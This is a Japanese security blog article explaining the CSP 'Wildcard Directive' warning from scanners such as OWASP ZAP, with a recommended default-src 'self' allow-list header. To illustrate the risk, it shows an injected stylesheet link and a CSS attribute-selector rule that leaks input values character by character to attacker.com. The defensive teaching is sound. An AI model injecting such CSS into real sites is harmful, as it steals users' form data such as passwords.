【セキュリティ診断】CSPの「ワイルドカード」設定に潜むリスクと正しい対処法

【セキュリティ診断】CSPの「ワイルドカード」設定に潜むリスクと正しい対処法

記事
IT・テクノロジー

概要

OWASP ZAPなどの脆弱性診断ツールを実行すると、「CSP: Wildcard Directive(ワイルドカード・ディレクティブ)」という指摘を受けることがあります。これは、ブラウザの防御機構であるContent Security Policy(CSP)の設定において、リソースの読み込み許可範囲が広すぎることを警告するものです。

本記事では、CSPの基本構造と「ワイルドカード」状態が招くリスク、そして安全な設定方法について解説します。

【起】CSPと「default-src」の役割

Content Security Policy (CSP) は、ブラウザが読み込むJavaScript、CSS、画像といったリソースの取得元を制限することで、クロスサイトスクリプティング(XSS)などの攻撃被害を軽減するためのHTTPレスポンスヘッダーです。

CSPには多くの項目(ディレクティブ)がありますが、最も重要なのが default-src です。
これは、個別の項目(style-src や img-src など)の指定が省略された場合に適用される「基本ルール(フォールバック)」としての役割を持っています。
もし、この default-src を定義せず、かつ個別の項目も設定していない場合、ブラウザはそのリソースの読み込みを「ワイルドカード(`*`:どこからでも許可)」として扱います。これが診断ツールで指摘される「不備」の正体です。

【承】ワイルドカード設定が招くリスク

リソースの読み込みが制限されていない状態では、万が一サイトにスクリプトやタグを注入された際、以下のような被害を受ける可能性があります。

1. 悪意あるスタイルの適用(CSSインジェクション)
style-src が制限されていないと、攻撃者が外部の悪意あるCSSを読み込ませ、画面のデザインを改ざん(UIレッドレッシング)したり、特定の条件で情報を外部へ送信させたりするリスクが生じます。

2. データの不正送信(form-actionの不備)
form-action(フォームの送信先)が未設定だと、ログイン画面などのフォームデータを攻撃者が用意した外部URLへ送信させられる危険があります。

3. クリックジャッキング
frame-ancestors(自サイトをフレーム内に埋め込む許可設定)が未設定だと、悪意ある第三者のサイト内に自サイトが隠しフレームとして埋め込まれ、ユーザーの意図しない操作を誘発される可能性があります。

【転】具体的な攻撃ケースと対処例

 攻撃ケース:CSSによる情報の盗み出し
style-src が設定されていない(ワイルドカード状態の)場合、攻撃者が以下のようなタグをページ内に注入したと仮定します。
<link rel="stylesheet" href="https://attacker.com/malicious.css">

※ココナラブログのNGに引っかからないように一部を全角にしています
読み込まれた malicious.css の中で、以下のような記述がなされていた場合、ブラウザの挙動を利用して特定の情報を盗み出すことが可能です。

(CSS)

/* インプットの先頭が 'p' で始まる場合、攻撃者のサーバーへ画像をリクエストする */
input[value^="p"] {
  background-image: url("[https://attacker.com/log?char=p](https://attacker.com/log?char=p)");
}

※ココナラブログのNGに引っかからないように一部を全角にしています
このように、CSSのセレクタ機能を悪用して、1文字ずつ画面上のデータを外部へ送信させる手法が存在します。

 対処法:許可リスト(ポジティブリスト)方式の導入
このリスクを回避するための最も確実な方法は、まず全てを拒否し、必要なものだけを許可する設定にすることです。

推奨される設定方針:
1. `default-src 'self';` を設定:原則として自身のドメイン以外からの読み込みを全て拒否します。
2. 例外を個別に許可: 外部サービス(Google Analyticsなど)を利用している場合のみ、そのドメインを個別に追記します。
3. 特殊な項目の明示: default-src の影響を受けない frame-ancestorsform-action も忘れずに設定します。

設定後のヘッダー例:
(http)

Content-Security-Policy: default-src 'self'; script-src 'self' [https://ssl.google-analytics.com](https://ssl.google-analytics.com); style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none'; form-action 'self';

※ココナラブログのNGに引っかからないように一部を全角にしています

【結】まとめ

CSPにおけるワイルドカードの指摘は、「鍵のかかっていない窓」がある状態を教えてくれる重要な警告です。

`default-src 'self';` を基本の型とする。
・フォールバックされない項目(frame-ancestors, form-action)を明示的に設定する。

この2点を徹底することで、サイトの防御力は大幅に向上します。多層防御の一環として、まずは自サイトのCSPヘッダーに default-src が含まれているかを確認してみましょう。

サービス数40万件のスキルマーケット、あなたにぴったりのサービスを探す ココナラコンテンツマーケット ノウハウ記事・テンプレート・デザイン素材はこちら